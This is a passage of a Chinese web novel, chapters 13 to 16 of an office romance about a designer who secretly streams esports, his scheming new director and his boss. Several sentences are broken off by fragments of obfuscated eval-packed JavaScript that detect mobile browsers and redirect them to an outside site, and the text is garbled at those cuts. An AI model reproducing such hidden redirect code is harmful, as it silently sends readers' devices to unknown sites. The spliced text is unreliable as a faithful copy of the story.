坐在沙发上叹了口气,郁思白目光扫过打卡机,皱了皱眉。 早知道先不打卡了……万一季没品要在这儿打半小时电话呢?我不是少拿半小时加班费吗。 竟然坐在打卡机外面打电话,真是太心机了。 抬眼看了一下季闻则,郁思白忍不住伸长耳朵偷听电话,刚靠过去几厘米,季没品却立刻走远了两步。 郁思白:……间/谍业务不熟练,见笑了。 他索性开始玩手机,往沙发扶手不着痕迹地一歪,乍一看还是端正的坐姿,其实绝大部分重量都已经靠在扶手上了。 微博关注里,无畏契约官方几小时前发了新的博文——【投票给你最想在嘉年华见到的选手吧!】 郁思白点进去翻了一圈,发现Execut2榜上无名,先是大怒,正要打字质问,忽然又冒出一个猜测。 【@J站Respit2:为什么没有Execut2,是已经确认参加了吗?】 已知ICG全员是板上钉钉要来的,又已知ICG的人每一个出现在选项里……可以推出,没在其中的Execut2也是板上钉钉! 也是啊,离嘉年华还有小半年,卡神就是再忙,半年时间总够协调出一天了。 这么一想,郁思白笑了下,拇指划动,在投票里投了个相对来说熟悉些的Collapsar。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16333031|183336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这位是第一位全华班冠军队长,退役有几年了……竟然没确定要来吗? 心里正疑惑着,忽然,肩膀上被用指尖轻轻敲了两下。 几秒前还在沙发侧面接电话的季闻则,不知什么时候,鬼似的到了他身后。 他目光下意识在郁思白手机上瞥了一下,很快移开视线,却含笑开了口。 “不是故意看到的……这是你现在喜欢的电竞选手?” 他说“电竞选手”四个字的时候,明显对这个名词很是生疏,颇有种老古董现充努力跟上时代的感觉。配上这张和“职业选手”相像的脸,整个画面略显诡异。 郁思白兀自收了手机起身,明显是急着下班,开口只说:“这是和工作无关的问题。” 季闻则一哂。 “没开车?”他顺口一问,见人点头,嘴角扬了扬说,“跟我走吧,送你到地铁站。” 他知道郁思白在公司向来独来独往——从直播里知道的。原本已经做好了对方拒绝后,自己开口再劝的准备,没想到郁思白一句话没说,就这么乖乖跟了过来。 郁思白走了两步,发现说着要载他的老板一动不动,又那副含笑探究的模样看着自己,顿时目光警惕起来。 不对。这人前科累累……该不会又是唬我吧。 郁思白目光一沉,脚下顿时也在原地生了根。 “季总,有什么事就在这讲吧。” 季闻则似乎一点都不觉得被驳了面子,毫不在意地笑笑,开口坦坦荡荡。 “之前的一个合作方送了个礼物来,说是他们新做出来的……嗯,文创产品。”他仍旧用着生疏的措辞道,“我记得你对这个感兴趣。” 说着,他垂眸在手机上翻找。 郁思白眉头皱了皱,开口:“我没对文创感兴……” 季闻则翻过手机,让他看到上面的照片。 郁思白顿时哑了声音,下意识倒抽了一口气。 这哪是什么文创!!分明就是他之前在嘉年华小展台征集活动里看到的,还只有效果图的限定周边! 全套的!里面有Execut2的!! “看起来就是纸片铁皮,好像也没什么用,你要是也不感兴趣的话,我就让杨助丢……” “我要!” 郁思白立刻应声,甚至都忘了维持上班的人设,一嗓子喊出来,和直播时候的声线没什么两样。 “在我车上,走么?”季闻则弯了弯眼睛,悠悠又问了一遍,末了,又补了一句,“正好跟你聊聊卢近仁的事。” 郁思白哪还顾得上什么卢近仁卢近狗的,点头道:“聊钱远新都行。” 他眼里重新变得鲜活起来,亮闪闪的,季闻则忽然抬手,想抻平刚刚被自己拎出皱褶的后衣领。 郁思白莫名看懂了老板的意思,周边在上,没品老板今时不同往日,哪有让人家给自己整理衣服的道理。 “我来我来!”他说着,立刻自己伸手随便扽了扽,然后露出一个笑。 季闻则眸光闪了闪,伸出去的手调转方向,点了点自己颊边的位置,笑。 “郁组长,你有梨涡啊。” 13. 第 13 章 郁思白顿时收敛笑容,轻咳一声,若无其事道。 “梨涡代表财运亨通。” 季闻则走进电梯,揶揄:“那也没见你常笑。” “工资里没开这项。”郁思白说。 季闻则一愣,然后忽然笑出声来。 高管的车位都是独立画出来的,郁思白头一次来负一层地库,却也没觉得有什么不同。 季闻则的车和他的人一样商务,不出挑也不出错的黑色。 “坐副驾。”季闻则随意招呼了一声。 郁思白惦记着周边,也不客气,拉开车门就坐了进去,下意识环顾。 他见过钱老抽的车,前面粘了一排三个太阳能转经筒,后视镜上挂着个金色的招财进宝,花里胡哨,还一股烟味儿。 季闻则车里却干干净净仿佛出场设置,明明也是抽烟喝酒的人,车里竟然只有淡淡的、冷水一样的味道,晕车的时候闻到,应该会很舒服。 这……品味好像也不错嘛。郁思白在心里默默给他改了判词。 扣好安全带,季闻则偏头,变魔术似的递给他一个A4大小的盒子。 金粉底色,烫银字迹,黑色剪影,左上角印着无畏契约的标志。 郁思白屏着呼吸双手接过。 盒子略有重量,压着他的手,心却像坐着跷跷板,早飞到了天上去。 “那……我现在就拆了?” “给你的,就随你处置。”季闻则轻笑,“安全带系好。” 郁思白无有不应,小心翼翼把盒子放在腿上,面上冷静,手忙脚乱去扯安全带的动作却暴露了他的内心。 急! 车在一阵轰鸣声中驶出地库,待行驶平稳,郁思白才打开了盒子外包装,看清后微微愣了一下。 这次的嘉年华限定周边有照片和手绘两个版本,小展台征集给的是照片版,郁思白原本下定决心要自己去抢手绘版的。 没想到,在老板这儿拿到了。 季闻则见他打开盒子后,目光灼灼地搜寻一番,双手捧出了一个,凑到窗边借路灯端详,眼睛发亮,半晌都没放下。 “这么喜欢?”他轻哂。 “嗯!”郁思白答得用力。 手绘版的纸片人Execut2更帅了!灰蓝发色拽王冷脸,放少年漫里高低得是人气排行前三的大烫门! 手里捧着男神的周边徽章,郁思白恨不得上嘴亲两口,但碍于体面,在老板面前还是勉强维持了人的正常模样。 礼盒里有Execut2的话,岂不是更证明他回来嘉年华的概率很大?! 郁思白有点飘飘然了,如果现在打开天窗,他指不定能飞出去。 “老板你刚刚不是问我,投票的是不是我最喜欢的选手吗。” 被喜悦冲破了话闸,郁思白忍不住道:“其实不是。” 驾驶座的人轻带方向盘转了个弯,嘴角勾了勾,不怎么热切道。 “跟我说这些做什么,我又不认识。” 郁思白笑意一顿,意识到自己的多话,抿了抿唇,重新找回自己冷淡稳重的声音。 “我误会了。”他问,“老板,您以前还跟这个游戏的官方合作过吗?” “不是官方。”季闻则说,“秦市有个S.S电子竞技场馆,我在总公司的时候负责过一部分,和他们老板有一点交情……你知道这个项目吧。” “知道。”但不是因为工作。 这家场馆的投资人Founder曾是知名电竞选手,退役之后立志盘活国内fps游戏,盖场馆、搞青训、投游戏……忙得热火朝天。郁思白跟他虽然不熟,但也算认识。 Founder估计想不到,他送出去的东西会兜兜转转回到自己手里吧,哈哈哈。 “衡蕴的段总是他父亲。”季闻则补充。 郁思白轻轻咋舌,脑袋里只剩下两个大字——人脉。 要不说人家季总能当老板,自己当不了呢。 他也认识Founder,但是一不知道他爸身份,二是,即使知道,也不好意思拿这份关系去争项目。 郁思白把Execut2的周边挑出来端详完,就手脚小心地放了回去,末了抬头认真道:“谢谢季总。”这比加班费好一万倍! “不用。”季闻则道,“也算是安抚你的赔礼。” 郁思白上一秒还轻飘飘的心,骤然冷静下来。 所有的馈赠都已在暗中标好价格,来之前他就知道,这周边没那么好拿。 他没说话,安静等着老板的下文。 “卢近仁为难你的事,我也是刚刚才知道。”季闻则说,“庭季还是以组内业绩为重,卢近仁不会自己带团队。” 郁思白怀里抱着赔礼,此时也不好拉着脸下老板面子,于是只说:“我无所谓这个,只要他不来抢我们组项目就行。” 季闻则笑了声:“他没那能耐。” 郁思白没想到老板话说的这么不客气,显然对卢近仁无甚好感。立刻意识到眼下这么一出,恐怕还是为了拉拢他。 “我记得你是钱远新从设计院挖来的?为什么没留在那边。”季闻则换了话题,顿了顿,又笑着补了句,“随便聊聊。” 郁思白抿唇,心里的警惕已经渐渐拉满。 信你个鬼,你们老板的“随便”,根本就是“随时变脸”。 “庭季给的多。”他简短地说。 季闻则指尖在方向盘上轻点两下。 也就是说,他直到参加工作,还处于经济不好的状态? 否则Respit2原本就有直播这个收入不低的副业,搭配一个岗位稳定的设计院,显然是更好的选择,又何必跳槽到加班到这种程度、永远被人拿捏的私企。 “现在呢?赚钱和稳定更想要哪个?”他问。 “都要。”郁思白说,“现在就挺好。” “为什么会觉得现在稳定?” 郁思白忽然侧歪着头看他。 “誉衡别苑,不是您亲自给的么。”他目光语气都是淡淡,话说出来,倒真有些绵里藏针、恃才傲物的意思。 但偏偏怀里,还八爪鱼似的把盒子抱得紧紧。 ……生怕自己一言不合,给他抢了似的。 季闻则轻笑,收回视线,指腹轻轻摩挲着方向盘的皮质纹路。 “不要把希望寄托在别人身上啊,郁组长。”他说,“他人即地狱,听过么。” 郁思白又把盒子往怀里带了带,先是“嗯”了声,旋即又摇头。 “也不尽然,世界上当然有好人。” “谁。”季闻则眸光一闪。 想了片刻,郁思白似乎试图计数,最后只说:“很多。” “很多……”季闻则品咂着这两个字,最后还是失笑。 “行,那我也当一回好人吧。” 车在地铁站旁停下,季闻则示意他打开盒子,指尖挑拣着略过Execut2的那张手绘明信片,最后捏起卡在角落的一张检测合格证。 他摸出支笔,在合格证上写了一串字母数字,然后放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16333032|183336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了回去:“微信,回去记得加。之后再有什么事可以直接告诉我。” 咔哒一声,车门解锁,季闻则一手搭在方向盘上,屈指敲了敲盒盖。 “回去早点休息吧,以后不需要的班少加。” - 郁思白直到回家坐到沙发上,还有点懵。 打开周边礼盒,第一眼看见的变成了那张写着微信号的合格证。好巧不巧,正好盖在Execut2的格子上。 季闻则的微信号规规矩矩,姓名首字母加电话号。看了两秒,郁思白把它重新塞回了礼盒缝隙。 他要这个干嘛?季闻则说的确实没错,他人即地狱,但有没有可能,身为老板的他就是最地狱的那个? 加老板微信干什么,等着下班回家还随时接受传唤吗。 他又不傻。 今晚没有直播任务,郁思白盘腿坐在沙发上,小音箱放着歌,给男神周边做着防潮保护。 突然,手机一阵急促的震动,公司内部软件像疯了一样狂冒弹窗,全部来自卢近仁。 【方案做完了吗?系统显示你打卡下班了。怎么回事?】 郁思白轻啧一声,回复。 【季总让我走的】 他没说自己已经做完了,这是底线问题。 如果这时候直接交了方案,那以后,卢近仁就会理所当然地觉得他就该是这个速度,紧接着就是更加紧迫的ddl……作为一个假卷王真混子,郁思白不想把班上成这样。 卢近仁:【我不是说了这个东西明天早上就要吗?你现在在家做吧。】 郁思白:【电脑不行】 卢近仁:【你自己克服,明天上班之前要发给我。别让客户等。】 郁思白:【季总说晨会再做】 卢近仁:【那你让季总找我说呗】 卢近仁好像自认拿捏住了他的性格,料定他不会因为这种事找老板,很明显,背后少不了钱翀的出谋划策。 老板牌没打出效果,郁思白不怎么在意,也压根没考虑加季闻则的微信告状,自顾自给男神周边烫膜装袋,又晾了卢近仁一会儿才回。 【但做完会很晚】 卢近仁:【1点之前,我要看到你的方案。】 【知道了】 郁思白走到电脑跟前,先把已经做好防潮保护的Execut2周边放到屏幕旁,欣赏了好一会儿,才顺手把做好的方案放进邮箱。 00:59,定时发送。 熬夜去吧,老登。 随手玩弄了没事找事的新总监,郁思白举起手机,对着摆好的周边哐哐一顿拍,给pupu发过去,炫耀地带了个墨镜小猫的表情,很快得到了回复。 【哪儿来的?你去藤竞打/劫了??】 郁思白打字的指尖都轻快起来。 【想不到吧,Foun神给的。】然后简单解释了他跟自家老板的关系。 pupu听完,又是一串问号。 【不可能啊,打样的这批我们一人就一套,Foun神那套他刚发微博秀恩爱了,你自己去看。】 郁思白一愣:【那……可能是Foun神面子大,为了送礼多要了一套?】 两人琢磨半天也没有结论,最后pupu道:【他人在正好沪市呢,明天庆功宴也过来,到时候你当面问问呗。】 抓了抓头发,郁思白也只能这样。 【别迟到啊。】pupu叮嘱。 郁思白回他。 【放心,我们组周五从不加班。】 14. 第 14 章 又跟pupu天马行空地聊了一会儿,眼看时间差不多,郁思白去收了茶几上的垃圾,把包装纸、礼盒连同写着老板微信号的合格证,统统丢进楼下的垃圾桶里。 没有直播任务,郁思白难得早睡,第二天打卡都多了几分朝气。 “……郁组长好像心情不错?” “也算有靠山了,要我我也高兴……” 他刚走过打卡机,就听见有人窃窃私语,一时间莫名。没等思考,迎面走来一个眼熟的西装男。 赵秘书一见他,顿时扬起笑来,开口招呼。 “哎,真巧!郁组长,正好来找你呢。季总有重要会议在外地,今早晨会取消,来跟你说下。” 钱远新离开后,赵秘书被极速边缘化,眼下已经只能做这种简单的传达工作了。 此刻对上郁思白,赵秘书肉眼可见地谄媚起来,简直就像以前他对待钱翀的样子。 “知道了。”郁思白简单应声,脚步没停。 赵秘书却追上来攀谈:“郁组长,你昨天又加班了?” “是什么稀罕事?”郁思白瞥他。 “诶,不是那意思。”赵秘书靠近道,“以后加班要是没空下楼买饭,你跟我说一声,我顺手给你带上来啊。” 郁思白微挑眉头,没接话。 无事献殷勤非奸即盗,这人是到他这儿拜山头来了? 见对方没反应,赵秘书快走两步追上,笑着压低声音。 “咱们也都是两年老同事了,都知道季总排斥钱系,看重你,这不为你开心嘛……” 郁思白在心里轻啧一声。他不适应这种被圈进风暴圈里的感觉,不太明显地皱了皱眉。 看样子,季没品平时没少拿自己当挡箭牌?那礼盒自己拿得果然理所当然。 赵秘书又跟了他半路,终于意识到是自找不快,灰溜溜在拐角走了。 刚送走一个,郁思白一抬头,又看见一双。 卢近仁正和钱翀站在二组门边,低声交谈,看见他来,卢近仁原本闲适的表情顿时沉下来。 “郁组长,你怎么能掐点才来?”他上来先训。 “习惯就好。”郁思白说。 卢近仁一口气哽在喉间,眉头皱得更是沟壑丛生。 “你方案也发的太晚!等一会儿我把方案的批复发你,照着好好修改。”他压根没给拒绝的余地,“知道你效率高,9点前发我吧。” 郁思白那点为数不多的朝气,终于还是泥牛入水一样彻底消失了,闻言掀开眼皮,懒倦地看过去,半晌,忽然扯了一下嘴角。 只这么一点表情的变化,卢近仁忽然僵了一下,冷不丁觉得,眼前青年的目光让他下意识神经紧绷。 ……是错觉吧。 谁都知道这郁思白只是看着又冷又拽,实际上,还不是让加班就去加? 圈子里不乏嘲讽他的,说他是给钱就能买的人民币雇佣兵,色厉内荏的食草动物。 卢近仁半遮半掩着摊开掌心,在衣角擦了一下,定了定神,瞪眼道:“有什么问题?” 郁思白已经垂下眼睛,方才的目光似乎只是幻觉。 “你发。”郁思白只漠然丢下两个字,脚下半秒都没停,越过两人,拐进一组的门。 今天下班就去跟朋友聚会,他心情好,自然懒得跟卢近仁多费口舌。 更何况他也只说“你发”,又没答应要改啊。 推门的动作带得那排向日葵摇头晃脑,上面的笑脸朝向外面,颇有点讥讽的意思。 而屋里的向日葵们也纷纷扭头,跟他打招呼,笑脸比那些塑料片子甜多了。 “组长,方案客户那边已经通过了,满意度很高。”武天骄从工位抬头汇报。 昨晚,郁思白下班之前就已经把方案抄送给负责对接的武天骄,她见时间还早,也干脆利落直接转给了客户。 这么算下来,卢近仁倒是最后一个看到的了。 高向日不是很愉快地啧了声:“就该把卢近仁那份方案也发过去,然后把客户评价告诉他,让他看看清楚,凭什么对我们指手画脚。” “不用。”郁思白说,“你想向客户支付看卢近仁方案的费用?” 众人闷笑。 “组长之前就说了,公司内部的事情,别闹到客户那去。”武天骄说完,忍不住道,“不过这卢近仁真是不懂事。这么闹一通,还得我们给他擦屁股。” 郁思白忽然想起什么,问:“卢近仁这个总监坐的不稳?” 武天骄想了下:“说是试用期,但庭季本来招人就挑,总监不清楚,但普通岗位试用期基本80%都能过。” “天骄姐,你别说这个了。”小穆突然开口,惨笑道,“我好怕我变成那20%……” 郁思白没再参与他们的聊天,兀自坐回工位,pupu把晚上聚餐地址发给他了。 地方不远,6点准时下班的话,赶过去绰绰有余。 把聚餐正式加进日程,郁思白满心轻松地开始一周的最后一个工作日。 - 二组专用接待室内,卢近仁手边放着热气腾腾的茶杯,面色沉沉。 “现在是关键时期。郁思白既然一开始就拉拢不了,我们就必须把他压服。” 他瞥了钱翀一眼:“我也是受你叔叔盛情邀请,才来这一趟的。” 钱翀陪着个笑脸立刻点头,原本不想开口,最后还是迫不得已道:“……我都给您想好了,我了解他,郁思白这人,虽然在设计上很不好说话,但他这人缺钱,论起加班,他向来都很积极。” “风尚嘉园的项目,客户就是因为他在设计工期上压缩时间,才没选我们——这我当然知道。”卢近仁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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点了点头,段骋雪又问:“薛老板想挖res去ICG做全职主播的事儿,你知道吗?” 搭在资料背面的手指顿了一下,季闻则:“没事,他不会答应。” “这么笃定?你给他涨工资了?”段骋雪挑眉。 季闻则垂眸,屈指轻叩纸面,低笑了声。 “我用大项目养着的未来总监……怎么可能辞职。” “res的专业能力确实厉害,人也细心,说实话要不是专业不太对口,我都想挖他……”段骋雪正说着,忽然抬头。 他身边走近一个长发青年,镜头只拍到他半身,似乎问了一句在聊什么,段骋雪便原原本本复述了。 “……卡神把他那份限定礼盒送人了?”青年开口,声音里听得出,他此刻一定是蹙着眉头的,抬手敲了一下段骋雪的头。 “给我们的这套礼盒上面都是有独立序列号的……你们不知道?” 15. 第 15 章 临近下班,一组办公室里,众人早早就收了摊,装包的装包,伸懒腰的伸懒腰,放眼望去,竟然只有最里面组长本人的工位,还传来敲键盘的声音。 然而其他人就跟没听见似的,照样絮絮聊天。 “我马上去机场,周末去特/种兵一把!”武天骄道。 高向日:“我答应我闺女带她吃那家超火的甜品!打完卡就排队去。” 小穆举着手:“我要回去打瓦!周末猛猛上分咯!”说完他一扭头,看向一推眼镜,啪地敲下回车的郁思白。 “组长,你真的不考虑玩吗?我可以带你的!” 郁思白原本想笑,但嘴角动了动,还是压了下来。 “不了。”他说。 虽然他在神话段经常打不到人,但你小子段位也不高,谁带谁还不一定呢。 而且你组长我,晚上要去跟冠军职业选手们吃庆功宴咯! 小穆嘿嘿两声,被自家师父从工位拉起来,忍不住感慨:“咱们组真好……” “那是你上进又聪明,才觉得好。”高向日抬手弹了他一个脑瓜崩,扬声道,“组长,我们先走啦。” 其他人也道:“早点下班哦。” “两分钟。”郁思白头也没抬,有条不紊地把图又检查了一遍,这才保存退出。 和他道别的几人嘻嘻哈哈地拎包走人,刚推开磨砂玻璃门,就被外面冷不丁出现的人吓了一跳。 “……卢总监?”有人认出他,脸上笑容还没褪干净,轻轻松松问,“有什么事儿吗。” 卢近仁脸上同样挂着笑,叹了口气。由他身边的钱翀道:“不好意思,要辛苦你们了,陪你们郁组长,加个班。” 所谓上梁不正下梁歪,刺头组长带不出棉花兵。闻言,头一个出门的组员顿时眉头一拧,质疑道。 “卢总监刚来,可能不清楚,我们组周五向来是不加班的。” 他话里说着卢近仁,目光却看着钱翀。 他不清楚,你钱组长还能不清楚吗? 钱翀抬高声音:“郁组长可从来不推辞加班的。怎么,看卢总监初来乍到,你们一组搞针对?” “谁针对他!”那组员顿时火大,被同事拉了一下胳膊,摇头示意他冷静。 目光投向办公室最里面,他看见组长已然起身往这边走过来,心里陡然沉重。 “万一组长答应了怎么办!”他小声道。 拉他的人无声叹气:“怎么办,加呗。” 卢近仁看着那组员顿时眉头紧皱,嘴角不由得高高扬起,看向走进的郁思白。 “郁组长,今晚加班的工作是……” 走近的郁思白抬手,推开双开玻璃门的另一扇,目光都没飘一下,径自越过了趾高气昂的卢近仁。 “郁组长!”卢近仁厉声喝止,眉头皱出川字。钱翀也上前一步,抬手把人拦下。 “……啧。”郁思白停下。 他半侧过身,刚要开口,被高向日拍了下肩膀。 “组长别急,我去联系季总……”他低声道。 郁思白抬手:“不用。” 要是靠老板有用,钱翀至于这么多年还只是个小组长? 遇上这种事,还指望着老板撑腰……他得是有多天真。 卢近仁强压着不悦道。 “这些本来是今早晨会要说的,以前公司没有总监,你们一二组各自为战,效率低,差距大!长此以往,不利于公司良性竞争发展。” 说着,他给钱翀递了一个眼神,钱翀立刻拿出一沓打印的图纸递过去,郁思白顺手接过,垂眸翻动。 卢近仁道:“这是二组最近积压的一些疑难杂症,马上要开个脑暴会。郁组长,你们一组既然作为公司的王牌,这次会议不能缺席!大家一起讨论创新,合作共进……” “开多久。”郁思白又翻过一页图纸,问。 他身后,有几个一组组员脸色微变,对面二组的人也叹了口气。 卢近仁一抬嘴角:“今天大家都辛苦一点,一二组一起合作,两位组长带头,再晚,都得把这块硬骨头啃下来!” 说罢,目光深深地看向郁思白,缓缓道:“你们一组应该不会,想踩着同事的头拿业绩吧?” 郁思白翻过最后一页,终于掀开眼皮看他,只是目光里,带着毫不遮掩的轻视。 “要个可行方案而已,费这么多事?” 说罢他垂眸,走到一组办公室门口,在摆满摇头向日葵的桌上摸了支笔。 图纸拍上桌面,圆珠笔重重一磕,咔哒!笔尖应声弹出,郁思白毫不犹豫落笔。 “等等!你拿铅笔啊。”二组有人失声道。 郁思白没做理会,蓝色笔迹已经落下。不到一分钟,他停笔。 卢近仁一嗤:“没思路了?郁组长,还是要讲究合作……” 下一秒,那张纸被郁思白上下对折,随手扔了过来。卢近仁下意识躲避,钱翀被他挤到前面,纸轻飘飘砸到他脸上,伤害性不大,侮辱性极强。 “看看,满不满意。”郁思白说着,往下翻下一张图。 钱翀被砸蒙了一瞬,反应过来之后,声音猛地抬高:“你干什么?这里是公司!” “吵死了。”郁思白拧眉,笔尖没停,下一张图纸转眼格局大变。 又是三十秒后——提笔,对折,图纸扫垃圾似的往钱翀脸上扫过去。 “满不满意?” 钱翀下意识手忙脚乱去接。 第三张、第四张…… 一共六张图,五分钟不到,郁思白收笔如同收剑归鞘。 “行了,一组改完,你们开会吧。” 周围不知道是谁轻轻“卧槽”了一声,如同点燃引线的火星,瞬间点爆了卢近仁。 “郁思白!这都是客户对我们的信任,你五分钟六张,在这儿糊弄谁呢?” 郁思白抬眼和他对视,那目光里明明和往常一样没什么情绪,可越是这样,卢近仁的眉头就皱得越紧。 直到他忽然嗤笑了声。 “六张图,你们自己整理好发给甲方,三张以上没采纳,随时叫我回来开会。”他顿了一下,唇角笑意更冷。 “要是采纳了,这些项目有一个算一个,全部归我——” “钱组长,卢总监,你们敢吗?” 一句话掷地有声,整间办公室、连带着斜对面敞开大门偷听八卦的其他部门,顿时霎地静了下来。 轻嗤一声,郁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16333034|183336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思白把笔丢回笔筒,空心球进,发出清脆的咚声,“叮”的整点报时几乎同时响起。 他径自越过卢近仁,那双向来懒倦的眼睛,凌厉地剜了他一下。 “一组,下班。” 紧接着,一组早收拾好东西的组员哗啦啦从门口鱼贯而出,高向日出门的时候,还装作没看见,“不经意”地把卢近仁挤了个人仰马翻。 “你们,你们……站住!”卢近仁猛地一拍一组办公室门口的矮桌,上面的一排向日葵顿时摇晃起来,欢天喜地的样子,像极了在嘲笑他的无能。 “郁思白!你以前缺钱、为了疯狂捞项目,甚至自降价格加班赶工,损害了你组员多少利益,他们知道吗!” “啪”的一声,走在最后一个的武天骄关了办公室灯,粉色高马尾甩出鞭子一样的弧度。 “一组是两年前组长亲自组建起来的,每一个决定,都是组长征求过所有人意见做出来的。你以为他像你、像你们一样,高高坐在那发号施令就能当我们的组长吗?” 她开了这个头,其他一组组员也纷纷开口。 “组长加班很少让我们一起。” “我们一条心,轮得到你在这说三道四?” “好啊郁思白,拒绝合作,没完成工作就走,你等着扣工资吧!”卢近仁怒道。 郁思白身后,一组的人浩浩荡荡,气势如虹,惹得围观人群如同潮水被劈开一样,刷拉拉散开。 直到尽头,最后一个人往后退开,露出站在正中、面色含霜的男人。 郁思白霎时间像被劈中,定在原地,下意识开口。 “卡……” 季闻则看向他的目光复杂,顿了片刻,才重新扬了扬嘴角,向他颔首。 郁思白从恍惚中惊醒。 不,不是。 他猛咬了一下腮边软肉,立刻垂眸遮住眼底的情绪。一个怔愣的功夫,身后立刻有人迎了上去。 “季总!”卢近仁先他一步喊了出来,开口就是关切,“您不是有会议在外地吗?怎么这么匆匆赶回来……” 简直就像后宫高位妃嫔呼喊皇上主持公道一样。 郁思白被自己冒出来的形容恶心到了,但又觉得,这种恶心放到卢近仁和钱翀身上,都是便宜他们。 二对一,总监加身后有背景的组长,季闻则今天最多就是各打五十大板□□。 更省事儿的,直接把自己卖了也说不定。 郁思白抿唇,果断抬头,第一次视线毫不退缩地跟季闻则这张乱他心神的脸对视,胸口起伏了一下,冷声问。 “季总有什么要说的吗。” 就算今天在这儿被辞退,他都认了。 大不了去当主播,当教练,当分析师……这么多年,他硬生生从没有选择走到现在,多的是退路! 季闻则迎着他锐利的目光上前,眉眼向下落了几分,含着笑,神情莫名有些许无奈。 他抬手,轻轻拍了下郁思白的肩,抚平上面丢图纸丢出的衣褶,然后掌心微微用力,把他往自己身后一带。 “照常下班吧,我来处理。”他说着,略微弯腰压低声音,最后一句话在嘈杂的环境里,近乎耳语。 “下周见,郁总监。” 16. 第 16 章 郁思白愣在原地,不知是被这句话定住,还是被肩头的那双手攥着。 季闻则掌心似乎很烫,即使隔着衣服,落到他皮肤上也仍有余温。郁思白下意识顺着那只手看过去,隐约瞥见对方额间,似乎有汗。 可他现在已经失去了思考的能力。 不知过了多久,像是一分钟,又像是仅仅一刹那,郁思白肩头一轻。 季闻则的手垂落下来,也不再看他,面向一组其他人,含着笑。 “听你们组长的,我不越级管辖。”说罢越过郁思白向前走去,吩咐道,“卢近仁,来我办公室一下……” 季闻则的声音渐渐被甩在身后,郁思白抿着唇,几乎是闷头撞进了电梯。 不知是不是脚步太快,他心脏跳得几乎要蹦出肋骨,脑海里不受控制地反复播放着季闻则站到他身前的画面。 可能,只是他太久太久没有被人这样坚定的帮过了。 以前是没有,后来是不需要,他已经有了足够多的尖刺,足够硬的外壳…… “下周见,郁总监。”耳边又回荡起声音。 郁总监。 总监…… 郁思白被涌进电梯的人群挤得踉跄,回忆的磁带卡壳,让他骤然清醒。 不,不是的,季闻则做这些都只是为了招揽他而已。 一组的人跟在他身后,一窝蜂的挤了进来。电梯门关上,满载的轿厢一层层向下落回地面,郁思白的心却始终悬着,摇摇欲坠。 “组长,我们是不是要发达了……?”终于有人开口,声音里带着希冀。 一句话像打开了泄洪的闸,其余人全都叽叽喳喳起来。 “卧槽!组长,刚刚改图那下帅死了!” “太棒了,就要这样把项目全都抢过来,没那个金刚钻还揽什么瓷器活!” “组长组长,你上次跟老板去吃饭,是不是聊得很愉快啊?” ——我冷着给他甩了脸色转身走了。郁思白心想。 “昨天季总亲自说你不用加班,是真的吗组长!这么有面儿!” ——是真的没错,但我在心里骂他他拒绝了他加好友的邀请。 “组长你说句话呀,到底怎么回事儿?” 是啊,他也想知道,到底是怎么回事。就算是招揽,至于做到这个地步吗? 郁思白抬手按了按额角,只觉得思绪一团乱麻,好像整个人都有点失去对生活的掌控力。 自从季闻则这个新老板空降来,他平静的、没什么远大前程但胜在安稳的职场生活,一下子就像把水泼进了油锅。 出了大厦,郁思白没坐地铁,直接打了个车去聚会地点。 他现在这个状态,都怕自己坐过站。 季闻则……季闻则。 他下意识摊开掌心又蜷缩起来,不断做着这个动作,试图以此来找回自己的掌控感。 可半晌他才发现,自己盯着掌心的纹路,已经不知道出神多久了。 他的掌纹并不规整,生命线枝丫丛生,像是生命里总有人来来去去,短暂陪伴他又迅速的离开,纵生的命运线也波折不断。小时候看手相的老头说,他未来事业会有重大变动。 总不会真的是跟着季闻则去干管理吧。 郁思白扯扯嘴角。 季闻则那样坚定的站队,他说没被触动是假的,但对方要求的回报,也实在有悖于他一贯的工作理念。 就连拼了命赚钱加班的那些年,他也没有像现在这样看不清前路。只觉得自己像课文里那只被推到悬崖边的羚羊,不知道自己这一跃,能否落到对岸。 ……可他原本也没有想搞这出羚羊飞渡啊。 郁思白心里忽然生出点委屈来,又觉得自己实在没理,只能在走走停停的车流里,被悄悄消化。 他就这样恍恍惚惚地到了地方,被服务员引着推开包厢门,呼出一口气来,强行把自己从上班状态拉出。 朋友们开口迎接的声音,几乎震翻楼顶。 “恭迎我们的夺冠功臣!Respit2!res老师!!!” 